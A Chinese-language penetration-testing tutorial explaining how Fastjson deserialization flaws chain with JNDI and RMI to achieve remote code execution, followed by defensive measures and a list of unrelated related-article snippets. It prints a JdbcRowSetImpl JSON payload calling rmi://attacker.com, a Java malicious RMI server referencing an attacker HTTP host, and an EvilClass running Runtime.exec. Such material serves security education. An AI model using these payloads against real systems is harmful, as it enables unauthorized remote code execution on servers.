【渗透测试】Fastjson 反序列化漏洞原理(二)
目录
- 反序列化漏洞结合 RMI 攻击详解
- 一、RMI 和 JNDI 的基础知识
- (1) RMI 简介
- (2) JNDI 简介
- 二、漏洞利用的核心原理
- 1. 构造恶意 JSON 数据
- 2. 设置恶意 RMI 服务
- 3. 加载并执行恶意代码
- 三、具体利用过程
- 环境准备
- 攻击步骤
- 1. 构造恶意 JSON 数据
- 2. 设置恶意 RMI 服务
- 3. 部署恶意类
- 4. 触发漏洞
- 四、防御措施
- (1) 升级 JDK 版本
- (2) 限制 JNDI 查询
- (3) 修复反序列化漏洞
- (4) 网络隔离
- (5) 监控和日志
反序列化漏洞结合 RMI 攻击详解
反序列化漏洞结合 RMI(Remote Method Invocation,远程方法调用)是一种经典的攻击方式,尤其是在 Java 生态系统中。通过这种方式,攻击者可以利用目标应用中的反序列化漏洞触发 JNDI 注入,并借助 RMI 服务加载远程恶意代码,最终实现远程代码执行(RCE)。以下是详细的原理和利用过程:
一、RMI 和 JNDI 的基础知识
(1) RMI 简介
RMI(Remote Method Invocation,远程方法调用)是 Java 提供的一种机制,用于在分布式系统中调用远程对象的方法。RMI 使用 Java 对象序列化和反序列化来传递数据。
- 客户端通过 RMI 接口调用远程服务器上的方法。
- 远程对象的引用可以通过 RMI 注册表(Registry)获取。
(2) JNDI 简介
JNDI(Java Naming and Directory Interface)是 Java 提供的一种目录服务接口,允许应用程序查找和访问命名资源(如数据库连接、LDAP 服务、RMI 服务等)。
- 攻击者可以利用 JNDI 的动态加载特性,通过指定一个恶意的 RMI URL,让目标应用从攻击者控制的服务器加载恶意代码。
二、漏洞利用的核心原理
当目标应用存在反序列化漏洞时,攻击者可以通过以下步骤结合 RMI 实现远程代码执行:
1. 构造恶意 JSON 数据
- 利用 Fastjson 等库的反序列化漏洞,注入恶意类并触发 JNDI 查询。
- 恶意类通常会包含一个
javax.naming.InitialContext或类似逻辑,用于发起 JNDI 请求。
2. 设置恶意 RMI 服务
- 攻击者搭建一个恶意的 RMI 服务,该服务返回一个指向恶意代码的引用。
- 当目标应用发起 JNDI 查询时,会从 RMI 服务加载恶意对象(即攻击者创建的类)。
3. 加载并执行恶意代码
- 目标应用从 RMI 服务加载恶意对象后,会触发其反序列化操作。
- 如果恶意对象中包含可执行的代码(如
Runtime.exec()),则会执行攻击者的命令。
三、具体利用过程
环境准备
- 攻击者:
- A 搭建一个恶意 RMI 服务,并提供一个恶意的 Java 类文件 B。
- 目标应用:
- 存在反序列化漏洞(如 Fastjson 漏洞),并且允许 JNDI 查询。
攻击步骤
1. 构造恶意 JSON 数据
攻击者通过分析目标应用的反序列化漏洞,构造一个恶意 JSON 数据。例如:
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://attacker.com:1099/evil","autoCommit": true
}
@type:指定了com.sun.rowset.JdbcRowSetImpl类。dataSourceName:设置为一个恶意的 RMI URL (rmi://attacker.com:1099/evil)。- 当目标应用解析这个 JSON 数据时,会触发 JNDI 查询。
2. 设置恶意 RMI 服务
攻击者使用工具(如 ysoserial)创建一个恶意的 RMI 服务。以下是示例代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws Exception {// 创建一个 Reference 对象,指向恶意类Reference ref = new Reference("EvilClass", "EvilClass", "http://attacker.com/");// 将 Reference 包装为 ReferenceWrapperReferenceWrapper wrapper = new ReferenceWrapper(ref);// 启动 RMI 注册表Registry registry = LocateRegistry.createRegistry(1099);registry.bind("evil", wrapper);System.out.println("RMI server is running...");}
}
Reference指向了一个恶意类EvilClass,该类托管在攻击者的 HTTP 服务器上。- RMI 服务绑定了一个名为
evil的对象。
3. 部署恶意类
攻击者将恶意类 EvilClass.class 托管在 HTTP 服务器上,内容如下:
public class EvilClass {static {try {Runtime.getRuntime().exec("calc.exe"); // 执行任意命令} catch (Exception e) {e.printStackTrace();}}
}
- 这个类会在加载时执行静态代码块中的命令(如弹出计算器)。
4. 触发漏洞
当目标应用解析恶意 JSON 数据时,会触发以下流程:
- 解析
@type并加载com.sun.rowset.JdbcRowSetImpl类。 - 调用
JdbcRowSetImpl的setDataSourceName()方法,设置dataSourceName为rmi://attacker.com:1099/evil。 - 触发 JNDI 查询,目标应用连接到攻击者的 RMI 服务。
- RMI 服务返回恶意的
Reference对象,目标应用从 HTTP 服务器下载并加载EvilClass。 - 加载
EvilClass时,执行静态代码块中的命令。
四、防御措施
为了防范这种攻击,可以采取以下措施:
(1) 升级 JDK 版本
在 JDK 8u121 及更高版本中,默认禁用了通过 JNDI 动态加载远程代码的功能。
升级到最新版本的 JDK 可以显著降低风险。
(2) 限制 JNDI 查询
配置 JVM 参数,限制 JNDI 查询的协议。例如:
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
(3) 修复反序列化漏洞
- 升级 Fastjson 或其他存在反序列化漏洞的库到最新版本。
- 禁用自动类型解析,或使用白名单机制限制可加载的类。
(4) 网络隔离
限制目标应用对外部网络的访问,避免其连接到恶意的 RMI 或 HTTP 服务。
(5) 监控和日志
监控异常的 JNDI 查询和 RMI 请求,及时发现潜在的攻击行为。
by 久违
相关文章:
【渗透测试】Fastjson 反序列化漏洞原理(二)
目录 反序列化漏洞结合 RMI 攻击详解一、RMI 和 JNDI 的基础知识(1) RMI 简介(2) JNDI 简介 二、漏洞利用的核心原理1. 构造恶意 JSON 数据2. 设置恶意 RMI 服务3. 加载并执行恶意代码 三、具体利用过程环境准备攻击步骤1. 构造恶意 JSON 数据2. 设置恶意 RMI 服务3. 部署恶意类…...
阿里云国际站代理商:物联网设备怎样就近接入计算节点?
配置边缘计算实例 登录边缘计算控制台,找到已创建的边缘实例,点击实例名称后的“查看”。 分配OPC UA驱动到边缘实例中,选择OPCUA驱动,点击“设备列表”后的“驱动配置”,在弹出对话框中点击“添加通道”,…...
目录遍历漏洞复现
1.在fofa中输入语法,查询目录遍历 body"SKControlKLForJson.ashx" 查询结果为: 2.寻找目录遍历漏洞,访问网站: 3.我们可以app目录中下载文件等等 4.我们还可以访问其他目录的一些东西...
Java高频面试之集合-18
hello啊,各位观众姥爷们!!!本baby今天来报道了!哈哈哈哈哈嗝🐶 面试官:HashMap 是线程安全的吗?多线程下会有什么问题? HashMap 的线程安全性分析 HashMap 不是线程安全…...
清晰易懂的 C 语言开发环境彻底卸载与清理教程
一、卸载前的关键理解 C 语言本身是编程语言,无法直接“卸载”,但开发环境通常包含: 编译器(如 GCC、Clang)构建工具(如 Make、CMake)IDE 集成(如 Visual Studio、Code::Blocks&am…...
系统思考—看见未来
感谢上海财经大学终身教育学院的持续邀请!每个月,都会带着不同的思维火花,走进财大与学员们一起探索系统思考的奥秘。 这次为宜宾市的干部们带来了一场深刻的学习体验。通过系统思考,帮助大家从整体视角去发现问题、分析问题、解…...
嵌入式单片机程序的映像文件解读
映像文件类型 单片机下载程序的映像文件是包含了可执行代码、数据等信息,用于将程序烧录到单片机中的文件。常见的映像文件种类如下: 十六进制文件(Hex 文件) 格式特点:Hex 文件是一种文本格式的文件,以 ASCII 字符形式存储数据。它由一系列的记录组成,每条记录包含一个…...
保姆级教程搭建企业级智能体+私有知识库,Dify+ollama,Linux版
介绍 目前,AI Agent智能体已经被许多公司广泛应用,同时智能体借助私有知识库的加成,使原来知识面并不特别充分的大模型更聪明。如今特别是在医疗,医药,政企等数据保密程度高的行业,部署自己的私有知识库更…...
记一次线上程序宕机问题分析【写 GC 日志导致进程挂起】
1. 背景 运维侧持续反馈了几次线上业务程序 A 出现宕机告警的信息,重启后一段时间后又出现宕机,这里针对最后一次告警进行深入排查和分析。 首先这一次故障出现在 2024-03-14 04:18:23,和以往的宕机故障略有不同,以往的现象是切…...
position embedding
文章目录 1. 四种position embedding2. pytorch 源码[后续整理] 【因比较忙,后续整理】 1. 四种position embedding Position Embedding 1. Transformer 1.1 1d absolute 1.2 sin/cos constant 1.3 2. Vision Transformer 2.1 1d absolute 2.2 trainable 3. Swin T…...
【leetcode hot 100 739】每日温度
解法一:暴力解法 class Solution {public int[] dailyTemperatures(int[] temperatures) {int ntemperatures.length; // 指向要找下一个更高温度的地方int[] result new int[n];for(int left0;left<n;left){int rightleft1; // 指向正在找最高温度的地方wh…...
netplan是如何操控systemd-networkd的? 笔记250324
netplan是如何操控systemd-networkd的? netplan通过以下方式操控systemd-networkd: 工作原理:netplan读取位于/etc/netplan/目录下的YAML格式的配置文件,这些配置文件描述了网络接口的配置。netplan会将这些配置文件解析并转换为systemd-ne…...
Cookie、Session 与 Token:核心区别与应用场景解析
目录 引言 基础概念解析:三大身份验证技术详解 Cookie:浏览器中的"身份证" Session:服务器记忆的"对话" Token:加密的"通行证" 三种技术的深度对比分析 存储位置与数据流向 安全性全面对比…...
结合DrRacket学习《如何设计程序,第二版》
如何设计程序语言 DrRacket用于学习程序语言和设计程序语言,如何设计程序手册:How to Design Programs 如何设计程序,第二版:How to Design Programs, Second Edition 系统程序设计 设计师需遵循一系列严谨且系统的步骤&#…...
状态空间模型解析 (State-Space Model, SS)
一、文章摘要 状态空间模型(State-Space Model, SS)是一种广泛应用于控制系统、信号处理和系统建模的数学表示方式。MATLAB 提供的 ss 类用于描述线性时不变(LTI)系统的状态空间表示。本类实现了 LTI 系统的构造、属性设置、变换…...
zabbix添加IIS网站计数器(并发连接数)
0. Zabbix Agent 配置 PerfCounter = iis_Current_Connections,"\Web Service(_Total)\Current Connections",30 1.在被监控主机,powershell输入perfmon.msc 2.点击添加按钮 3.在下拉菜单中点击小箭头...
uniapp处理流式请求
在uniapp里面处理流式请求相对于web端来说有点麻烦,下面我将讲述几种处理流式请求的方式。 1.websocket WebSocket 是处理实时数据流的最佳选择之一,UniApp 提供了原生的 WebSocket 支持: <template><view class"container&…...
代码随想录算法训练营第四十一天|买卖股票专题:121. 买卖股票的最佳时机、122.买卖股票的最佳时机II、123.买卖股票的最佳时机III
动规五部曲牢记于心 1、确定好dp[j]数组,以及下标含义 2、推导出dp[j]公式 3、初始化,关键dp[0][0]、dp[0][1],第i天,后面的01表示状态:持有、不持有 4、确定遍历顺序: 如果求组合问题,不考虑排…...
AI小白的第七天:必要的数学知识(概率)
概率 Probability 1. 概率的定义 概率是一个介于 0 和 1 之间的数,表示某个事件发生的可能性: 0:事件不可能发生。1:事件必然发生。0 到 1 之间:事件发生的可能性大小。 例如,掷一枚公平的硬币…...
[Windows] 图吧工具箱
[Windows] 图吧工具箱 链接:https://pan.xunlei.com/s/VOMCXYDix3pvwdkU7w7bfVsDA1?pwdk8v5# DIY爱好者的必备工具...
Docker镜像迁移方案
Docker镜像迁移方案 文章目录 Docker镜像迁移方案一:背景二:操作方式三:异常原因参考: 一:背景 比如机器上已经有先有的容器,但是docker pull的时候是失败的二:操作方式 1、停止正在运行的容器…...
1264. 动态求连续区间和-acwing -树状数组
原题链接:1264. 动态求连续区间和 - AcWing题库 给定 n 个数组成的一个数列,规定有两种操作,一是修改某个元素,二是求子数列 [a,b] 的连续和。 输入格式 第一行包含两个整数 n 和m,分别表示数的个数和操作次数。 第…...
三分钟读懂微服务
一、什么是微服务 微服务,简单来说,就是把一个庞大复杂的软件系统,拆分成一个个小型的、独立的服务模块。打个比方,一个大型商场就如同传统的单体架构软件系统,里面所有的店铺、设施都紧密关联在一起。而微服务架构下…...
【AIGC】图片变视频 - SD ComfyUI视频生成
效果图 完整过程 SD ComfyUI 下载 下载 https://pan.quark.cn/s/64b808baa960 解压密码:bilibili-秋葉aaaki 完整 https://www.bilibili.com/video/BV1Ew411776J/ SD ComfyUI 安装 1.解压 2.将controlnet内部文件复制到 ComfyUI-aki-v1.6\ComfyUI\models\control…...
JVM详解(包括JVM内存模型与GC垃圾回收)
📖前言: 学会使用Java对于一个程序员是远远不够的。Java语法的掌握只是一部分,另一部分就是需要掌握Java内部的工作原理,从编译到运行,到底是谁在帮我们完成工作的? 接下来着重对Java虚拟机,也就…...
cocos creator 笔记-路边花草
版本:3.8.5 实现目标:给3d道路生成路边景观花草 在场景下创建一个节点,我这里种植两种花草模型,兰花和菊花,所以分别在节点下另创建两个节点,为了静态合批。 1.将花草模型分别拖入场景中,制作…...
在shell脚本内部获取该脚本所在目录的绝对路径
目录 需求描述 方法一:使用 dirname 和 readlink 命令 方法二:使用 BASH_SOURCE 变量 方法三:仅使用纯 Bash 实现 需求描述 工作中经常有这样情况,需要在脚本内部获取该脚本自己所在目录的绝对路径。 假如有一个脚本/a/b/c/…...
Qt 线程类
线程类 这些类与线程应用程序相关。 Concurrent Filter and Filter-Reduce 并行地从序列中选择值并组合它们 Concurrent Map and Map-Reduce 并行地从序列中转换值并组合它们 Concurrent Run 在单独线程中运行任务的简单方法 Concurrent Task 在独立线程中运行任务的可…...
Langchain中的表格解析:RAG 和表格的爱恨情仇
实现 RAG(Retrieval-Augmented Generation)是一个挑战,尤其是在有效解析和理解非结构化文档中的表格时。这在处理扫描文档或图像格式的文档时尤为困难。这些挑战至少包括以下三个方面: 1.表格的“叛逆期”:不准确的解析可能会破坏表格结构: 表格在文档里就像个叛逆的青少…...
神奇的闹钟(算法题)
神奇的闹钟 题目 原题 小蓝发现了一个神奇的闹钟,从纪元时间(19701970 年 11 月 11 日 00:00:0000:00:00)开始,每经过 xx 分钟,这个闹钟便会触发一次闹铃 (纪元时间也会…...
